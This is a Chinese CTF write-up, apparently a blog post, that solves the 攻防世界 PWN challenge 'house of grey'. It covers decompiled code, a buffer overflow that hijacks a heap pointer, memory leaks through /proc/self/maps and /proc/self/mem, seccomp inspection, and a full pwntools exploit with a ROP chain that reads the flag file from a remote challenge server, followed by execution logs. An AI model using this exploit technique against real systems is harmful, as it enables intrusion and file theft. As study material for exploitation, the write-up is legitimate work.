攻防世界-PWN-house of grey-Linux系统文件泄漏

20 篇文章 0 订阅
6 篇文章 0 订阅

解题思路

检查保护机制

healer@healer-virtual-machine:~/Desktop/house_of_grey$ readelf -h house_of_grey ELF Header:
  Magic:   7f 45 4c 46 02 01 01 00 00 00 00 00 00 00 00 00 
  Class:                             ELF64
  Data:                              2's complement, little endian
  Version:                           1 (current)
  OS/ABI:                            UNIX - System V
  ABI Version:                       0
  Type:                              DYN (Shared object file)
  Machine:                           Advanced Micro Devices X86-64
  Version:                           0x1
  Entry point address:               0xc60
  Start of program headers:          64 (bytes into file)
  Start of section headers:          12592 (bytes into file)
  Flags:                             0x0
  Size of this header:               64 (bytes)
  Size of program headers:           56 (bytes)
  Number of program headers:         9
  Size of section headers:           64 (bytes)
  Number of section headers:         26
  Section header string table index: 25
healer@healer-virtual-machine:~/Desktop/house_of_grey$ checksec house_of_grey 
[*] '/home/healer/Desktop/house_of_grey/house_of_grey'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled

漏洞利用分析

healer@healer-virtual-machine:~/Desktop/house_of_grey$ ./house_of_grey 
Welcome to my house! Enjoy yourself!

Do you want to help me build my room? Y/n?
y
You get into my room. Just find something!


1.Find something  2.Locate yourself  3.Get something  4.Give something  5.Exit
1
So man, what are you finding?
aws          # 我自己放的一个本地的不含flag字符的flag文件

1.Find something  2.Locate yourself  3.Get something  4.Give something  5.Exit
2
So, Where are you?
0

1.Find something  2.Locate yourself  3.Get something  4.Give something  5.Exit
3
How many things do you want to get?
30
You get something:
flag{Congratulations!!!}

1.Find something  2.Locate yourself  3.Get something  4.Give something  5.Exit
5

Build finished! Thanks a lot!

简单执行了一下这个程序发现其实是一个读区当前路径下的一个文件然后可以指定从哪里开始读写,之后将结果输出,但是名字里面不能有flag字符

C语言lseek()函数:移动文件的读写位置

相关函数:dup, open, fseek

头文件:#include <sys/types.h>    #include <unistd.h>

定义函数:off_t lseek(int fildes, off_t offset, int whence);

函数说明:
每一个已打开的文件都有一个读写位置, 当打开文件时通常其读写位置是指向文件开头, 若是以附加的方式打开文件(如O_APPEND), 则读写位置会指向文件尾.read()write(), 读写位置会随之增加,lseek()便是用来控制该文件的读写位置. 参数fildes 为已打开的文件描述词, 参数offset 为根据参数whence来移动读写位置的位移数.

参数 whence 为下列其中一种:
    SEEK_SET 参数offset 即为新的读写位置.
    SEEK_CUR 以目前的读写位置往后增加offset 个位移量.
    SEEK_END 将读写位置指向文件尾后再增加offset 个位移量. 当whence 值为SEEK_CURSEEK_END, 参数offet 允许负值的出现.

下列是教特别的使用方式:
1) 欲将读写位置移到文件开头时:lseek(int fildes, 0, SEEK_SET);
2) 欲将读写位置移到文件尾时:lseek(int fildes, 0, SEEK_END);
3) 想要取得目前文件位置时:lseek(int fildes, 0, SEEK_CUR);

返回值:当调用成功时则返回目前的读写位置, 也就是距离文件开头多少个字节. 若有错误则返回-1, errno 会存放错误代码.

漏洞点

void __fastcall fn(void *arg)
{
  unsigned __int64 offset; // ST28_8
  int fd; // [rsp+10h] [rbp-70h]
  signed int i; // [rsp+14h] [rbp-6Ch]
  int length; // [rsp+1Ch] [rbp-64h]
  int v5; // [rsp+1Ch] [rbp-64h]
  void *heap; // [rsp+20h] [rbp-60h]
  char buf[24]; // [rsp+30h] [rbp-50h]        # 此处缓冲区大小只有0x16大小
  void *heap_ptr; // [rsp+48h] [rbp-38h]
  char nptr; // [rsp+50h] [rbp-30h]
  unsigned __int64 v10; // [rsp+78h] [rbp-8h]
  __int64 savedregs; // [rsp+80h] [rbp+0h]

  v10 = __readfsqword(0x28u);
  puts("You get into my room. Just find something!\n");
  heap = malloc(0x186A0uLL);
  if ( !heap )
  {
    perror("malloc");
    exit(1);
  }
  if ( (unsigned int)sub_14D2() )
    exit(1);
  heap_ptr = heap;
  for ( i = 0; i <= 29; ++i )
  {
    choose_FEE();
    switch ( (unsigned int)&savedregs )
    {
      case 1u:
        puts("So man, what are you finding?");
        buf[(signed int)((unsigned __int64)read(0, buf, 0x28uLL) - 1)] = 0;
        // 上面这里可以向缓冲区写入0x28个字节的数据
        if ( (unsigned int)sub_FA6(buf) )
        {
          puts("Man, don't do it! See you^.");
          exit(1);
        }
        fd = open(buf, 0);
        if ( fd < 0 )
        {
          perror("open");
          exit(1);
        }
        return;
      case 2u:
        puts("So, Where are you?");
        read(0, &nptr, 0x20uLL);
        offset = strtoull(&nptr, 0LL, 10);
        lseek(fd, offset, 0);
        break;
      case 3u:
        puts("How many things do you want to get?");
        read(0, &nptr, 8uLL);      // 读区用户的输入字符
        length = atoi(&nptr);      // 将支字符转换为数值
        if ( length <= 100000 )
        {
          v5 = read(fd, heap_ptr, length);    // 读取fd指向的文件处的length长度的数据,写入heap_ptr,即原来的v8处
          if ( v5 < 0 )
          {
            puts("error read");
            perror("read");
            exit(1);
          }
          puts("You get something:");
          write(1, heap_ptr, v5);   // 将之前写入的数据读出至stdout,即打印这部分内容
        }
        else
        {
          puts("You greedy man!");
        }
        break;
      case 4u:
        puts("What do you want to give me?");
        puts("content: ");
        read(0, heap_ptr, 0x200uLL);
        // 此处可以写入数据,而heap_str指针可以被buf缓冲区的溢出覆盖掉,即可实现地址任意写
        break;
      case 5u:
        exit(0);
        return;
      default:
        continue;
    }
  }
  puts("\nI guess you don't want to say Goodbye!");
  puts("But sadly, bye! Hope you come again!\n");
  exit(0);
}

栈帧空间布局如下:

-0000000000000058 offset          dq ?
-0000000000000050 buf             db 24 dup(?)      # buf缓冲区下方就是heap_str指针
-0000000000000038 heap_ptr        dq ?                    ; offset
-0000000000000030 nptr            db ?
-000000000000002F                 db ? ; undefined
-000000000000002E                 db ? ; undefined
-000000000000002D                 db ? ; undefined
-000000000000002C                 db ? ; undefined
-000000000000002B                 db ? ; undefined

脚本验证:

io.recvuntil("my room? Y/n?")
io.sendline("Y")
payload = b"aws" + b"\x00"*5 + b"b"*16 + p64(0xdeadbeef)
find_something(payload)
pwndbg> 
Continuing.

Thread 2 hit Breakpoint 4, 0x00005555555552bb in ?? ()
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
─────────────────────────────────[ REGISTERS ]──────────────────────────────────
*RAX  0xdeadbeef
 RBX  0x0
*RCX  0x7ffff7b04380 (__write_nocancel+7) ◂— cmp    rax, -0xfff
*RDX  0x200
*RDI  0x0
*RSI  0xdeadbeef
*R8   0x7ffff7fdd700 ◂— 0x7ffff7fdd700
···
*RIP  0x5555555552bb ◂— call   0x555555554ba0
────────────────────────────────────────────────[ DISASM ]─────────────────────────────────────────────────
 ► 0x5555555552bb    call   read@plt <read@plt>
        fd: 0x0
        buf: 0xdeadbeef       # 通过功能4可以向此劫持的指针指向的位置写入任意值
        nbytes: 0x200
···
 
   0x5555555552de    lea    rdi, [rip + 0x7b3]
─────────────────────────────────────────────────[ STACK ]─────────────────────────────────────────────────
00:0000│ rsp  0x7fffe816df50 ◂— 0x0
... ↓
···
06:0030│      0x7fffe816df80 ◂— 0x737761 /* 'aws' */
07:0038│      0x7fffe816df88 ◂— 0x6262626262626262 ('bbbbbbbb')

虽然现在可以实现任意地址写,但是程序的保护全开,现在不知道内存地址,无法下个有效的位置写入正确的值

参考大佬的姿势:

Linux 内核提供了一种通过 /proc 文件系统,在运行时访问内核内部数据结构、改变内核设置的机制。proc文件系统是一个伪文件系统,它只存在内存当中,而不占用外存空间。读取/proc/self/maps可以得到当前进程的内存映射关系,通过读该文件的内容可以得到内存代码段基址。/proc/self/mem是进程的内存内容,通过修改该文件相当于直接修改当前进程的内存。该文件不能直接读取,需要结合maps的映射信息来确定读的偏移值。即无法读取未被映射的区域,只有读取的偏移值是被映射的区域才能正确读取内存内容。

程序的/proc/self/maps文件可以得到当前进程的内存映射关系,通过读该文件的内容可以得到内存代码段基址。

1.Find something  2.Locate yourself  3.Get something  4.Give something  5.Exit
1
So man, what are you finding?
/proc/self/maps

1.Find something  2.Locate yourself  3.Get something  4.Give something  5.Exit
2
So, Where are you?
0

1.Find something  2.Locate yourself  3.Get something  4.Give something  5.Exit
3
How many things do you want to get?
10000
You get something:
555555554000-555555556000 r-xp 00000000 08:01 1052971                    /home/healer/Desktop/house_of_grey/house_of_grey
555555756000-555555757000 r--p 00002000 08:01 1052971                    /home/healer/Desktop/house_of_grey/house_of_grey
555555757000-555555758000 rw-p 00003000 08:01 1052971                    /home/healer/Desktop/house_of_grey/house_of_grey
555555758000-555555791000 rw-p 00000000 00:00 0                          [heap]
7fffe7a0d000-7ffff7a0d000 rw-p 00000000 00:00 0 
7ffff7a0d000-7ffff7bcd000 r-xp 00000000 08:01 1587459                    /lib/x86_64-linux-gnu/libc-2.23.so
7ffff7bcd000-7ffff7dcd000 ---p 001c0000 08:01 1587459                    /lib/x86_64-linux-gnu/libc-2.23.so
7ffff7dcd000-7ffff7dd1000 r--p 001c0000 08:01 1587459                    /lib/x86_64-linux-gnu/libc-2.23.so
7ffff7dd1000-7ffff7dd3000 rw-p 001c4000 08:01 1587459                    /lib/x86_64-linux-gnu/libc-2.23.so
7ffff7dd3000-7ffff7dd7000 rw-p 00000000 00:00 0 
7ffff7dd7000-7ffff7dfd000 r-xp 00000000 08:01 1587470                    /lib/x86_64-linux-gnu/ld-2.23.so
7ffff7fdc000-7ffff7fdf000 rw-p 00000000 00:00 0 
7ffff7ff7000-7ffff7ffa000 r--p 00000000 00:00 0                          [vvar]
7ffff7ffa000-7ffff7ffc000 r-xp 00000000 00:00 0                          [vdso]
7ffff7ffc000-7ffff7ffd000 r--p 00025000 08:01 1587470                    /lib/x86_64-linux-gnu/ld-2.23.so
7ffff7ffd000-7ffff7ffe000 rw-p 00026000 08:01 1587470                    /lib/x86_64-linux-gnu/ld-2.23.so
7ffff7ffe000-7ffff7fff000 rw-p 00000000 00:00 0 
7ffffffde000-7ffffffff000 rw-p 00000000 00:00 0                          [stack]
ffffffffff600000-ffffffffff601000 r-xp 00000000 00:00 0                  [vsyscall]

pwndbg> vmmap
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
    0x555555554000     0x555555556000 r-xp     2000 0      /home/healer/Desktop/house_of_grey/house_of_grey
    0x555555756000     0x555555757000 r--p     1000 2000   /home/healer/Desktop/house_of_grey/house_of_grey
    0x555555757000     0x555555758000 rw-p     1000 3000   /home/healer/Desktop/house_of_grey/house_of_grey
    0x555555758000     0x555555791000 rw-p    39000 0      [heap]
    0x7fffe7a0d000     0x7ffff7a0d000 rw-p 10000000 0      
    0x7ffff7a0d000     0x7ffff7bcd000 r-xp   1c0000 0      /lib/x86_64-linux-gnu/libc-2.23.so
    0x7ffff7bcd000     0x7ffff7dcd000 ---p   200000 1c0000 /lib/x86_64-linux-gnu/libc-2.23.so
    0x7ffff7dcd000     0x7ffff7dd1000 r--p     4000 1c0000 /lib/x86_64-linux-gnu/libc-2.23.so
    0x7ffff7dd1000     0x7ffff7dd3000 rw-p     2000 1c4000 /lib/x86_64-linux-gnu/libc-2.23.so
    0x7ffff7dd3000     0x7ffff7dd7000 rw-p     4000 0      
    0x7ffff7dd7000     0x7ffff7dfd000 r-xp    26000 0      /lib/x86_64-linux-gnu/ld-2.23.so
    0x7ffff7fdc000     0x7ffff7fdf000 rw-p     3000 0      
    0x7ffff7ff7000     0x7ffff7ffa000 r--p     3000 0      [vvar]
    0x7ffff7ffa000     0x7ffff7ffc000 r-xp     2000 0      [vdso]
    0x7ffff7ffc000     0x7ffff7ffd000 r--p     1000 25000  /lib/x86_64-linux-gnu/ld-2.23.so
    0x7ffff7ffd000     0x7ffff7ffe000 rw-p     1000 26000  /lib/x86_64-linux-gnu/ld-2.23.so
    0x7ffff7ffe000     0x7ffff7fff000 rw-p     1000 0      
    0x7ffffffde000     0x7ffffffff000 rw-p    21000 0      [stack]
0xffffffffff600000 0xffffffffff601000 r-xp     1000 0      [vsyscall]

关于seccomp(Sandbox的安全机制)

也是通过这个题,知道了这个检测方法,可以快速判断程序是否可以getshell

下面这段摘自大佬的博客

什么是seccomp

seccomp(全称 secure computing mode)是linux kernel从2.6.23版本开始所支持的一种安全机制。
seccomp是一种内核中的安全机制,正常情况下,程序可以使用所有的syscall,这是不安全的。
比如劫持程序流后通过execve的syscall来getshell。
通过seccomp我们可以在程序中禁用掉某些syscall,这样就算劫持了程序流也只能调用部分的syscall了.

通过seccomp,我们限制程序使用某些系统调用,这样可以减少系统的暴露面,同时是程序进入一种“安全”的状态。
详细介绍可参考seccomp内核文档(见参考链接)。

如何使用seccomp

seccomp可以通过系统调用ptrctl(2)或者通过系统调用seccomp(2)开启,前提是内核配置中开启了CONFIG_SECCOMP和CONFIG_SECCOMP_FILTER。

seccomp支持两种模式:SECCOMP_MODE_STRICT 和 SECCOMP_MODE_FILTER。

在SECCOMP_MODE_STRICT模式下,进程不能使用read(2)、write(2)、_exit(2)和sigreturn(2)以外的其他系统调用。
在SECCOMP_MODE_FILTER模式下,可以利用BerkeleyPacket Filter配置哪些系统调用及它们的参数可以被进程使用。

如何查看程序是否开启了seccomp保护机制

安装方法,CTF中常用的方法

sudo apt install gcc ruby-dev
gem install seccomp-tools

运行方法,已此题为例,通过安装的工具查看程序的保护情况

healer@ubuntu:~/Desktop$ seccomp-tools dump ./house_of_grey 
 line  CODE  JT   JF      K
=================================
 0000: 0x20 0x00 0x00 0x00000000  A = sys_number
 0001: 0x15 0x00 0x01 0x0000003b  if (A != execve) goto 0003
 0002: 0x06 0x00 0x00 0x00000000  return KILL
 0003: 0x15 0x00 0x01 0x00000208  if (A != 0x208) goto 0005
 0004: 0x06 0x00 0x00 0x00000000  return KILL
 0005: 0x15 0x00 0x01 0x40000208  if (A != 0x40000208) goto 0007
 0006: 0x06 0x00 0x00 0x00000000  return KILL
 0007: 0x15 0x00 0x01 0x00000142  if (A != execveat) goto 0009
 0008: 0x06 0x00 0x00 0x00000000  return KILL
 0009: 0x15 0x00 0x01 0x00000039  if (A != fork) goto 0011
 0010: 0x06 0x00 0x00 0x00000000  return KILL
 0011: 0x06 0x00 0x00 0x7fff0000  return ALLOW
Ubuntu16.04下安装时ruby版本不够,kali下安装gem找不到安装包

下面是主函数关键部分的分析详见部分注释

void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)
{
  char buf; // [rsp+1Bh] [rbp-25h]
  int stat_loc; // [rsp+1Ch] [rbp-24h]
  int fd; // [rsp+20h] [rbp-20h]
  __pid_t pid; // [rsp+24h] [rbp-1Ch]
  __int64 v7; // [rsp+28h] [rbp-18h]
  char *v8; // [rsp+30h] [rbp-10h]
  unsigned __int64 v9; // [rsp+38h] [rbp-8h]

  v9 = __readfsqword(0x28u);
  init_F35();
  puts("Welcome to my house! Enjoy yourself!\n");
  puts("Do you want to help me build my room? Y/n?");
  read(0, &buf, 4uLL);
  if ( buf == 'y' || buf == 'Y' )
  {
    fd = open("/dev/urandom", 0, a2);       // fd指向随机数文件
    if ( fd < 0 )
    {
      perror("open");
      exit(1);
    }
    read(fd, &v7, 8uLL);          //读区8个字节的数据到v7
    close(fd);           // 关闭随机文件
    v7 &= 0xFFFFF0u;       // 地位置0,地址对其,页对齐
    v8 = (char *)mmap(0LL, 0x10000000uLL, 3, 0x20022, -1, 0LL);    // mmap获取内存区域
    // v8指向内存映射区域的起始位置
    if ( v8 == (char *)-1LL )
    {
      perror("mmap");
      exit(1);
    }
    pid = clone((int (*)(void *))fn, &v8[v7], 0x100, 0LL);   // 克隆进程,并且映射到刚才mmap申请到的内存区域
    // 相当于是在刚才0x10000000大小的空间内按照v7的随机位置映射子进程的堆栈信息
    if ( pid == -1 )
    {
      perror("clone");
      exit(1);
    }
    waitpid(pid, &stat_loc, 0x80000000);
    if ( stat_loc & 0x7F )
      puts("\nMaybe something wrong? Build failed!");
    else
      puts("\nBuild finished! Thanks a lot!");
    exit(0);
  }
  puts("You don't help me? OK, just get out of my hosue!");
  exit(0);
}

利用思路整理

相当于在内存空间中通过mmap函数分配到一大块内存,然后再将fn函数随机映射到这片内存,结合前面的能够获取得到/proc/self/maps,也可以泄漏出fn函数映射的内存的信息。通过/proc/self/maps可以将映射区域的起始地址找到,通过功能2设置文件结构体读取文件的偏移指针,通过设置文件指针的起始位置加上功能3的读取和打印,可以将/proc/self/mem处的内存逐渐遍历,但是不能完全查看,因为程序映射的区域大小是0x10000000uLL,然而每次只能打印1000000x186a0)个字节的数据,fn函数只能运行30次,在实际泄漏内存之前和之后的准备工作与执行流控制需要占用几次,所以大概有20几次的循环可以泄漏大约0x186a0*24大小的空间,所以脚本不是每次执行都能够成功,程序又不能执行shellcode直接拿到shell,所以考虑通过open函数,读取flag文件在利用put函数将结果输出,结合前面的v8指针可以通过功能1的buf数组写入溢出覆盖,劫持到我们想指向的地方,再通过功能4可以向v8指向的地方写入任意内容,即可以找到某个函数的返回值写入一段ROP然后获取到flag文件的内容,第一反应是劫持fn函数的返回地址,但是由于fn函数的退出并不会返回,逆向分析即可看出,最终是通过exit(0)退出的,这样部署的ROP就不会执行,再考虑其他地方的函数的返回地址劫持只能是fn函数内所调用的函数,直接使用功能4的read函数的返回地址作为劫持目标最合适,其余的地方因为要通过功能4去写入,然后再执行过去之后在执行函数之前栈空间布局会被正常调整,无法执行到ROP上,所以其实就是利用read函数自身,在其调用之后返回地址已经写入栈空间,才读取输入的内容的这一特点,让read函数在自己的返回地址处写入ROP,这样在read函数执行完毕便会立刻执行ROP,进而将flag内容展示出来

healer@healer-virtual-machine:~/Desktop/house_of_grey$ ROPgadget --binary house_of_grey --only "pop|ret"
Gadgets information
============================================================
0x000000000000181c : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x000000000000181e : pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000001820 : pop r14 ; pop r15 ; ret
0x0000000000001822 : pop r15 ; ret
0x000000000000181b : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x000000000000181f : pop rbp ; pop r14 ; pop r15 ; ret
0x0000000000000cc0 : pop rbp ; ret
0x0000000000001823 : pop rdi ; ret
0x0000000000001821 : pop rsi ; pop r15 ; ret
0x000000000000181d : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000000ad6 : ret
0x0000000000000bb2 : ret 0x2023
0x000000000000145d : ret 0x2be
0x000000000000139d : ret 0xc600

Unique gadgets found: 14

解题脚本

from pwn import *
from LibcSearcher import *

context.log_level='debug'
context.terminal = ['terminator', '-x', 'sh', '-c']
# context.terminal = ['tmux','splitw','-h']
io = remote("111.200.241.244",55591)

# io = process("./house_of_grey")
elf = ELF("./house_of_grey")

context(arch = "amd64", os = 'linux')

def find_something(payload):
	io.recvuntil("5.Exit")
	io.sendline("1")
	io.recvuntil("So man, what are you finding?")
	io.send(payload)

def locate_yourself(strindex):
	io.recvuntil("5.Exit")
	io.sendline("2")
	io.recvuntil("So, Where are you?")
	io.send(str(strindex))

def get_something(length):
	io.recvuntil("5.Exit")
	io.sendline("3")
	io.recvuntil("How many things do you want to get?")
	io.send(length)

def give_something(content):
	io.recvuntil("5.Exit")
	io.sendline("4")
	io.recvuntil("content:")
	io.send(content)

# gdb.attach(io,"b * $rebase(0x1161)\nb * $rebase(0x11a6)\nb * $rebase(0x128b)\nb * $rebase(0x12bb)\nb * $rebase(0x1115)\nb * $rebase(0x123d)")

io.recvuntil("my room? Y/n?")
io.sendline("Y")

payload = b"/proc/self/maps\x00" 
find_something(payload)
get_something(b"100000")
io.recvuntil("You get something:\n")
elf_load_addr = io.recvline()        # 此处开始会收到pwndbg中的vmmap命令的相关信息
# print(b"elf_load_addr - > "+elf_load_addr)

elf_load_addr = str(elf_load_addr).split(" ")
elf_load_addr = int(elf_load_addr[0].split("-")[0][2:], 16)
log.success("elf_load_addr - > "+hex(elf_load_addr))      # 第一行获取elf文件加载的地址

io.recvline()
io.recvline()
io.recvline()

mmap_addr = io.recvline()
mmap_addr = str(mmap_addr).split(" ")
mmap_addr = int(mmap_addr[0].split("-")[0][2:], 16)   # 第五行获取mmap函数申请的内存区域
log.success("mmap_addr - > "+hex(mmap_addr))


libc_addr = io.recvline()
libc_addr = str(libc_addr).split(" ")
libc_addr = int(libc_addr[0].split("-")[0][2:], 16)    # 第六行是获取libc加载地址
log.success("libc_addr - > "+hex(libc_addr))

payload = b"/proc/self/mem\x00\x00"   # 此处结尾多的两个字节\x00是由于在调试时发现不加这两个字节会导致文件名丢失最后一mem的m字符,也可以是一个字节的\x00
find_something(payload)    
locate_yourself(mmap_addr)     # 此处将文件便宜只想mmap映射的内存区域的开始处
for i in range(24):     # 通过循环遍历内存区域,试图读到上面的这个payload字符串
	get_something(b'100000\x00\x00')  # 此处的数值一般直接输入100000就OK,
    # 但是实际调试的时候我遇到情况这里数值写入的地址有前一个mmap_addr地址的部分内容,
    # 100000写进去之后并未完整写满一个机器长度的数据,即未满8个字节,
    # 然后在后面的atoi函数执行的时候会把原来这块内存的两个字节的数据和新输入的100000结合,
    # 转成一个数值,这样导致源程序判断读取大小的地方会报错,
    # 因为错误的数据会被解析称为一个超级大的数值,我也是很无奈,其他大佬的没有这个情况
    # 此处差点儿让我放弃这个题,因为咋都不往正确的分支里面走,最后在结尾加了两个字节的0x00,
    # 才使得atoi函数转换得到我们想要的数值100000.

	io.recvuntil("You get something:")
	mem = io.recvuntil(b'1.Find', drop = True)       # 此处获取泄漏出来的一大块内存内容
	log.info("This is the {} times".format(i))
	if b"/proc/self/mem" in mem:   # 判断是否包含字符串,可以确定这里就是fn函数的堆栈空间随机映射的位置
		buf_nouse_part = mem.split(b"/proc/self/mem")[0]    # 此处是字符串之前的那一部分
		v8_addr = mmap_addr + i*100000 + len(buf_nouse_part) -1  # 此处是直接通过加载的真实地址获取得到v8的偏移地址,最后的减1是调试时发现数据存在一个字节的偏移,获取到的地址值没有8字节对齐,这样后面写入的内容已存在错位,导致无法正常读写
		ret_addr = v8_addr - 0x38   # 此处的返回地址就是fn函数栈帧顶部的上面的那个位置,此位置就是在执行read函数的跳转的时候写入返回地址的位置
		break
	if i == 23:
		log.info("Try Again!!!")
		exit(0)

payload = b"/proc/self/mem".ljust(0x18, b'\x00') + p64(ret_addr)
find_something(payload)   # 此处使用前面获取得到的返回地址劫持v8指针,使得v8指向fn函数栈帧顶-8的地址
# pause()
log.success("v8_addr - > "+hex(v8_addr))
log.success("ret_addr - > "+hex(ret_addr))

open_plt = elf.plt["open"] + elf_load_addr
log.success("open_plt - > "+hex(open_plt))
puts_plt = elf.plt["puts"] + elf_load_addr
log.success("puts_plt - > "+hex(puts_plt))

read_plt = elf.plt["read"] + elf_load_addr
log.success("read_plt - > "+hex(read_plt))

pop_rdi = 0x0000000000001823 + elf_load_addr
pop_rsi_r15 = 0x0000000000001821 + elf_load_addr

flag_addr = ret_addr + 8*15    # 此处的flag地址就是下面的ROP链中最后的那个字符串,偏移8*15就是那个字符串前面的15个p64()

payload = p64(pop_rdi) + p64(flag_addr) + p64(pop_rsi_r15) + p64(0) + p64(0) + p64(open_plt)
payload += p64(pop_rdi) + p64(6) + p64(pop_rsi_r15) + p64(flag_addr) + p64(0) + p64(read_plt)
payload += p64(pop_rdi) + p64(flag_addr) + p64(puts_plt)
payload += b'/home/ctf/flag\x00'     # real flag address flag_addr   
give_something(payload)

io.interactive()

执行结果

本地shell

[*] Paused (press any to continue)
[+] v8_addr - > 0x7fffe7aa03c0
[+] ret_addr - > 0x7fffe7aa0388
[+] open_plt - > 0x555555554c00
[+] puts_plt - > 0x555555554b00
[+] read_plt - > 0x555555554ba0
[DEBUG] Received 0x50 bytes:
    b'\n'
    b'1.Find something  2.Locate yourself  3.Get something  4.Give something  5.Exit\n'
[DEBUG] Sent 0x2 bytes:
    b'4\n'
[DEBUG] Received 0x27 bytes:
    b'What do you want to give me?\n'
    b'content: \n'
[DEBUG] Sent 0x87 bytes:
    00000000  23 58 55 55  55 55 00 00  00 04 aa e7  ff 7f 00 00  │#XUU│UU··│····│····│
    00000010  21 58 55 55  55 55 00 00  00 00 00 00  00 00 00 00  │!XUU│UU··│····│····│
    00000020  00 00 00 00  00 00 00 00  00 4c 55 55  55 55 00 00  │····│····│·LUU│UU··│
    00000030  23 58 55 55  55 55 00 00  06 00 00 00  00 00 00 00  │#XUU│UU··│····│····│
    00000040  21 58 55 55  55 55 00 00  00 04 aa e7  ff 7f 00 00  │!XUU│UU··│····│····│
    00000050  00 00 00 00  00 00 00 00  a0 4b 55 55  55 55 00 00  │····│····│·KUU│UU··│
    00000060  23 58 55 55  55 55 00 00  00 04 aa e7  ff 7f 00 00  │#XUU│UU··│····│····│
    00000070  00 4b 55 55  55 55 00 00  2f 68 6f 6d  65 2f 63 74  │·KUU│UU··│/hom│e/ct│
    00000080  66 2f 66 6c  61 67 00                               │f/fl│ag·│
    00000087
[*] Switching to interactive mode
 
[DEBUG] Received 0x17 bytes:
    b'flag{Congratulations}\n'
    b'\n'
flag{Congratulations}

远程shell

[*] This is the 10 times
[DEBUG] Sent 0x2 bytes:
    b'1\n'
[DEBUG] Received 0x1d bytes:
    b'So man, what are you finding?'
[DEBUG] Sent 0x20 bytes:
    00000000  2f 70 72 6f  63 2f 73 65  6c 66 2f 6d  65 6d 00 00  │/pro│c/se│lf/m│em··│
    00000010  00 00 00 00  00 00 00 00  d8 c3 c9 b5  1c 7f 00 00  │····│····│····│····│
    00000020
[+] v8_addr - > 0x7f1cb5c9c410
[+] ret_addr - > 0x7f1cb5c9c3d8
[+] open_plt - > 0x55a57df16c00
[+] puts_plt - > 0x55a57df16b00
[+] read_plt - > 0x55a57df16ba0
[DEBUG] Received 0x1 bytes:
    b'\n'
[DEBUG] Received 0x50 bytes:
    b'\n'
    b'1.Find something  2.Locate yourself  3.Get something  4.Give something  5.Exit\n'
[DEBUG] Sent 0x2 bytes:
    b'4\n'
[DEBUG] Received 0x1c bytes:
    b'What do you want to give me?'
[DEBUG] Received 0xb bytes:
    b'\n'
    b'content: \n'
[DEBUG] Sent 0x87 bytes:
    00000000  23 78 f1 7d  a5 55 00 00  50 c4 c9 b5  1c 7f 00 00  │#x·}│·U··│P···│····│
    00000010  21 78 f1 7d  a5 55 00 00  00 00 00 00  00 00 00 00  │!}│·U··│····│····│
    00000020  00 00 00 00  00 00 00 00  00 6c f1 7d  a5 55 00 00  │····│····│·l·}│·U··│
    00000030  23 78 f1 7d  a5 55 00 00  06 00 00 00  00 00 00 00  │#x·}│·U··│····│····│
    00000040  21 78 f1 7d  a5 55 00 00  50 c4 c9 b5  1c 7f 00 00  │!}│·U··│P···│····│
    00000050  00 00 00 00  00 00 00 00  a0 6b f1 7d  a5 55 00 00  │····│····│·k·}│·U··│
    00000060  23 78 f1 7d  a5 55 00 00  50 c4 c9 b5  1c 7f 00 00  │#x·}│·U··│P···│····│
    00000070  00 6b f1 7d  a5 55 00 00  2f 68 6f 6d  65 2f 63 74  │·k·}│·U··│/hom│e/ct│
    00000080  66 2f 66 6c  61 67 00                               │f/fl│ag·│
    00000087
[*] Switching to interactive mode
 
[DEBUG] Received 0x2d bytes:
    b'cyberpeace{4a030269e12******************f354b087}\n'
cyberpeace{4a030269e12******************f354b087}
[DEBUG] Received 0x41 bytes:
    b'\n'
    b'/home/ctf/run.sh: line 2:   112 Segmentation fault      ./house\n'

/home/ctf/run.sh: line 2:   112 Segmentation fault      ./house

  • 2
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 4
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 4
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值